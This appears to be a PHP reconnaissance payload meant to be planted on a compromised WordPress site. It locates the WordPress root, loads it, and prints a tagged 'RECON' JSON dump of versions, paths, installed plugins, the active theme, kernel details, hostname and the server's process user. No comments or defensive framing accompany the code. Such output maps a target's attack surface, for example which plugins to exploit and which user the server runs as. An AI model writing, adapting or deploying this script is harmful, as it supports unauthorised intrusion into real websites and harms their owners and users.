<?php
$root = defined('ABSPATH') ? rtrim(ABSPATH, '/\\') : null;
if ($root === null) {
    $start = __DIR__;
    for ($i = 0; $i < 8; $i++) {
        if (is_file($start . '/wp-load.php')) { $root = $start; break; }
        $parent = dirname($start);
        if ($parent === $start) break;
        $start = $parent;
    }
}
if ($root === null) { echo 'RECON_FAIL root'; exit; }
if (!defined('ABSPATH')) { require_once $root . '/wp-load.php'; }
$plugins = array();
$pdir = (defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content')) . '/plugins';
$pdir = str_replace('\\', '/', $pdir);
if (is_dir($pdir)) {
    foreach (scandir($pdir) as $item) {
        if ($item === '.' || $item === '..') continue;
        if (is_dir($pdir . '/' . $item)) { $plugins[] = $item; }
    }
}
$theme = '';
if (function_exists('get_stylesheet')) { $theme = (string) get_stylesheet(); }
$uid = function_exists('posix_geteuid') ? (string) @posix_geteuid() : '';
$user = function_exists('posix_getpwuid') && $uid !== '' ? @posix_getpwuid((int)$uid) : false;
$server_user = is_array($user) && isset($user['name']) ? $user['name'] : (string) @get_current_user();
if ($uid !== '' && $server_user !== '') { $server_user = $server_user . ':' . $uid; }
elseif ($uid !== '') { $server_user = $uid; }
$wp_content = defined('WP_CONTENT_DIR') ? str_replace('\\', '/', WP_CONTENT_DIR) : ($root . '/wp-content');
$docroot = isset($_SERVER['DOCUMENT_ROOT']) ? str_replace('\\', '/', (string) $_SERVER['DOCUMENT_ROOT']) : '';
$out = array(
    'wp_version' => function_exists('get_bloginfo') ? (string) get_bloginfo('version') : '',
    'siteurl' => function_exists('get_option') ? (string) get_option('siteurl') : '',
    'home' => function_exists('get_option') ? (string) get_option('home') : '',
    'abspath' => $root,
    'web_root' => $root,
    'document_root' => $docroot,
    'wp_content_dir' => $wp_content,
    'php_version' => PHP_VERSION,
    'theme' => $theme,
    'is_multisite' => function_exists('is_multisite') ? (bool) is_multisite() : false,
    'plugins' => $plugins,
    'uname' => function_exists('php_uname') ? (string) @php_uname() : '',
    'hostname' => function_exists('gethostname') ? (string) @gethostname() : (string) @php_uname('n'),
    'server_user' => $server_user,
    'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? (string) $_SERVER['SERVER_SOFTWARE'] : '',
);
echo 'RECON|R85c89250|' . json_encode($out);
exit;